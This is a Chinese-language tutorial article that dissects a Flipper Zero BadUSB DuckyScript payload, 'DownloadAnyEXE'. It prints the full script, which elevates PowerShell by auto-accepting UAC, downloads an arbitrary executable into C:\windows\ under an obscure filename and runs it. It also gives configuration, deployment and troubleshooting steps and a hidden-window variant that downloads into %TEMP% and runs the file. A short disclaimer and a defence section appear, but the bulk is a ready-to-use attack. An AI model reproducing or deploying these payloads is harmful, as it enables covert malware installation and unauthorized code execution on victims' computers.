首页
/ Flipper Zero BadUSB 载荷实战:DownloadAnyEXE 下载并执行任意 EXE 的完整配置与原理解析

Flipper Zero BadUSB 载荷实战:DownloadAnyEXE 下载并执行任意 EXE 的完整配置与原理解析

2026-09-13 09:35:35作者:冯爽妲Honey

导读

DownloadAnyEXE 是 Flipper Zero BadUSB 攻击面中的一个典型「执行类(Execution)」载荷,核心功能是一条龙完成「打开 PowerShell → 从指定 URL 下载 .exe → 执行该 .exe」。它由 DuckyScript 1.0 编写,配合内嵌的单行 PowerShell 命令实现免插件的下载执行链。本文将以该载荷的 readme.md 与完整载荷脚本 DownloadAnyEXE.txt 为主体,逐行讲解其运行流程、配置修改方法、UAC 提权细节与底层原理,并对照仓库内同目录的变体载荷,帮助你彻底理解并正确部署这类「远程下载执行」型 BadUSB 脚本。

安全声明:本仓库所有 BadUSB 脚本仅用于教育目的,运行前必须获得目标系统的明确授权。任何误用造成的损失与作者及本文无关。建议在虚拟机中完成全部测试。

载荷概览:三条核心能力

根据 readme.md 的 Features 一节,该载荷的实现目标可归纳为:

  1. 打开 PowerShell —— 通过 Win+R 运行对话框拉起 PowerShell;
  2. 从 URL 下载 .exe —— 使用 Invoke-WebRequest 从你提供的地址下载文件;
  3. 执行下载的 .exe —— 下载完成后立即以 Start-Process 运行该文件。

下载脚本头部 的元信息注释中,作者将其标注为:

  • 作者:UNC0V3R3D(Discord: UNC0V3R3D#8662)
  • 描述:Downloads an .exe file from the URL and runs it on the target pc
  • 版本:1.0
  • 分类:Execution

注意脚本头部注释没有任何 REM Target: All Windows 之类的目标声明,说明该脚本面向通用 Windows 环境,实际兼容性取决于目标机的 PowerShell 版本与 UAC 配置。

逐行拆解 DuckyScript 载荷

完整载荷脚本位于 DownloadAnyEXE.txt,全文仅 19 行,分为「前置注释」「调起并提权 PowerShell」「输入下载执行命令」三个阶段。下面逐行说明:

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 850
ALT y
DELAY 1200
STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
ENTER
行号 指令 含义与时机
L5 DELAY 750 等待目标机识别 USB 键盘设备(HID 枚举),防止后续击键丢失
L6 WINDOWS d 按下 Win+D,最小化所有窗口,清空桌面焦点
L7 DELAY 950 等待系统响应快捷键
L8 WINDOWS r 按下 Win+R,呼出「运行」对话框
L9 DELAY 650 等待运行对话框出现
L10 STRING powershell Start-Process powershell -Verb runAs 输入一条 PowerShell 命令,目的:以管理员权限再启动一个 PowerShell(这是触发 UAC 的关键一步)
L11 ENTER 执行上述命令
L12 DELAY 750 等待 UAC 弹窗出现
L13-L14 LEFTARROW + ENTER 在 UAC 窗口上按左箭头将焦点移动到「是」按钮并回车确认(对应默认选中「否」的情况)
L15 DELAY 850 等待确认生效
L16 ALT y 备用确认手段:直接按 Alt+Y 激活 UAC 的「是」按钮
L17 DELAY 1200 等待提权后的管理员 PowerShell 窗口就绪
L18 STRING $url = ...; exit 在管理员 PowerShell 中输入一整条单行脚本:定义 URL 变量 → 定义输出路径 → 下载 → 执行 → 退出
L19 ENTER 回车触发整条脚本

关键设计点 1:为什么要先提权?

载荷把下载文件写入 C:\windows\ 目录,该目录需要管理员权限才能写入。因此脚本先通过 Start-Process powershell -Verb runAs 弹出一个管理员权限的 PowerShell,再在其中执行下载与运行命令,避免出现「目标目录无写权限」的失败。

关键设计点 2:双保险确认 UAC

LEFTARROW + ENTERALT y 是两个先后执行的确认动作。在不同 Windows 版本/语言环境下,UAC 窗口的默认焦点可能落在「否」上,左箭头可以把焦点移到「是」;ALT y 则是「是(Yes)」按钮的键盘助记键。两条指令叠加,提高了在不同系统上提权成功的概率。这与仓库中其他需提权的脚本(如 StickyKeysSWAP)的思路一致。

关键设计点 3:下载路径与文件名

载荷使用硬编码的输出路径 C:\windows\41281687.exe。文件名 41281687.exe 刻意选用不显眼的数字命名,降低用户关注度;保存到系统目录也便于后续伪装。该路径可以按需修改(例如改到 %TEMP%),但必须保证目标用户对目标目录有写权限。

如何配置:三步完成自定义

readme.md 明确强调:这个脚本不是开箱即用的(not plug and play),必须修改后才能运行。核心修改点只有一个:

修改 .exe 文件的下载地址:$url = "URL TO EXE"

具体操作步骤:

  1. 用任意文本编辑器打开 DownloadAnyEXE.txt
  2. 将第 18 行中的占位符 "URL TO EXE" 替换为你的真实下载地址,例如:
    $url = "https://example.com/tools/update.exe"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
    
  3. (可选)若你的文件部署位置不同,同步修改 $outputStart-Process -FilePath 中的路径;
  4. 保存文件,注意保持 UTF-8 / ANSI 纯文本格式、无 BOM、无多余空行(仓库 README 的排错章节专门指出随机空行会导致 ERROR: line 5 之类的解析错误)。

部署到 Flipper Zero

根据 集合 README 的新手指南

  1. 克隆/下载本仓库;
  2. 使用 PC 上的 qFlipper 应用(或手机端 Flipper Zero 应用)连接 Flipper Zero;
  3. 将修改好的 DownloadAnyEXE.txt 放入 SD 卡 → badusb 目录;
  4. 在 Flipper Zero 上进入 BadUSB 分类,选中该脚本,插上 USB 并按下中间按钮开始执行。

核心 PowerShell 单行命令深度解析

第 18 行本质上是一段被 ; 连接起来的 PowerShell 单行脚本,是整个载荷的功能核心。逐段拆解如下:

$url = "URL TO EXE";            # ① 待下载文件的完整 URL(必须替换占位符)
$output = "C:\windows\41281687.exe";  # ② 保存到本地的路径与文件名
Invoke-WebRequest -Uri $url -OutFile $output;  # ③ 发起 HTTP(S) 下载
Start-Process -FilePath "C:\windows\41281687.exe";  # ④ 以新进程执行下载的文件
exit                           # ⑤ 关闭当前(管理员)PowerShell 窗口,清除痕迹
  • $url:唯一必须修改的变量,协议支持 http://https://
  • $output:决定文件落盘位置。默认写入 C:\windows\,需要管理员权限,这也解释了脚本为何必须先提权;
  • Invoke-WebRequest -Uri $url -OutFile $output:PowerShell 内置下载命令(PowerShell 3.0+ 可用),无需额外下载工具,也不依赖 IE COM 组件,是 BadUSB 脚本中最高频的下载原语;
  • Start-Process -FilePath:异步启动新进程执行目标 exe,不等其退出即返回;
  • exit:关闭提权后的 PowerShell 窗口,尽量不留终端痕迹。

与同目录变体载荷的对比

仓库 Execution 目录下还有两个同类载荷,可以对照理解本脚本的设计取舍:

载荷 脚本路径 差异点
DownloadAnyEXE DownloadAnyEXE.txt 显式提权、写入 C:\windows\、有 UAC 双保险确认
Invisible_DownExec Invisible_DownExec.txt 不加提权;以 -WindowStyle Hidden 隐藏窗口;下载到 $Env:temp 并执行
Invisible_DownExec_Zip_Extract Invisible_DownExec_Zip_Extract.txt 先下载 zip → Expand-Archive 解压 → 执行包内指定 exe

例如 Invisible_DownExec.txt 的核心命令为:

Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit

可以看出,它把下载与执行整体塞进隐藏窗口的参数列表中,写入 %TEMP% 而非系统目录,因此在无管理员权限的场景下也能运行——这与 DownloadAnyEXE「先提权、写系统目录」的路线互为补充。实际选择哪一个,取决于你的目标是静默(Invisible 系列)还是高权限(DownloadAnyEXE)。

底层原理:DuckyScript 如何变成「键盘」

BadUSB 的本质是 Flipper Zero 模拟 USB HID 键盘,将脚本中的每条指令翻译成真实的键击序列高速发送给目标机。从 集合 README 的说明 中可以确认以下事实:

  • 所有 BadUSB 脚本使用 DuckyScript 1.0 语言编写;
  • 脚本中的 REM 开头的行是注释,作者几乎在每个脚本中都通过 REM 解释流程;
  • 真正复杂的是内嵌的 PowerShell 命令,集合中约 97% 的 DuckyScript 都依赖 PowerShell 获得对机器的完全控制权。

映射到本脚本:WINDOWS dWINDOWS r 对应系统级快捷键(Win+D / Win+R);STRING 对应逐字符输入;ENTERLEFTARROWALT y 对应相应按键。整条链路不依赖目标机预装任何工具,因此对已插入 USB 的设备具备天然的执行能力——这正是此类载荷被称为「BadUSB」的原因,也意味着运行前取得授权是绝对的底线。

常见问题与排错

结合 集合 README 的 Troubleshooting 章节,本脚本最容易踩的坑包括:

  1. 脚本乱敲、把文字打到错误窗口:通常是 DELAY 值过小导致窗口尚未就绪。可把各 DELAY 数值调大(例如 DELAY 750 → DELAY 1000),单位为毫秒。
  2. 报错 ERROR: line 5 之类:检查文本文件是否混入随机空行;确认没有 LOCALE .. 命令(Flipper 上兼容性不佳);检查出错行行首是否有空格。
  3. 下载失败/文件未执行:先确认 URL 可公网访问且为直接文件链接(而非跳转页);确认目标机 PowerShell 版本 ≥ 3.0(Invoke-WebRequest -OutFile 的依赖);若目标机开启了 UAC 而脚本未提权成功,写 C:\windows\ 会因权限不足失败——此时可参照 Invisible 系列改写到 %TEMP%
  4. 测试建议:在虚拟机中测试,切勿在个人主力机上直接运行。

防御视角:如何识别此类攻击

作为技术研究,理解载荷同样服务于防御。DownloadAnyEXE 的攻击特征包括:插入 USB 后瞬间出现键盘输入、运行对话框被呼出、UAC 弹窗自动被「是」确认、PowerShell 执行 Invoke-WebRequest 下载并启动新进程。企业侧可通过以下手段缓解:

  • 保持 UAC 默认开启,警惕「自动确认 UAC」的异常键击序列;
  • 启用 Windows Defender / EDR 对 Invoke-WebRequest 下载与未知 exe 执行的告警;
  • 限制普通用户的 C:\windows\ 写入与 PowerShell 的脚本执行策略(Set-ExecutionPolicy);
  • 对 USB HID 设备插拔行为进行审计。

小结

DownloadAnyEXE 是一个结构清晰、教学价值很高的 DuckyScript 载荷:它用 19 行脚本演示了「调起运行框 → 提权 → 下载 → 执行」的完整链路,且把唯一的关键变量 $url 明确定位为配置点。结合同目录的 Invisible 系列变体与集合 README 的使用规范,你可以快速理解 BadUSB 载荷的通用组织方式,并在授权测试场景下安全地复现与定制。核心资源均在仓库内:

登录后查看全文
热门项目推荐
相关项目推荐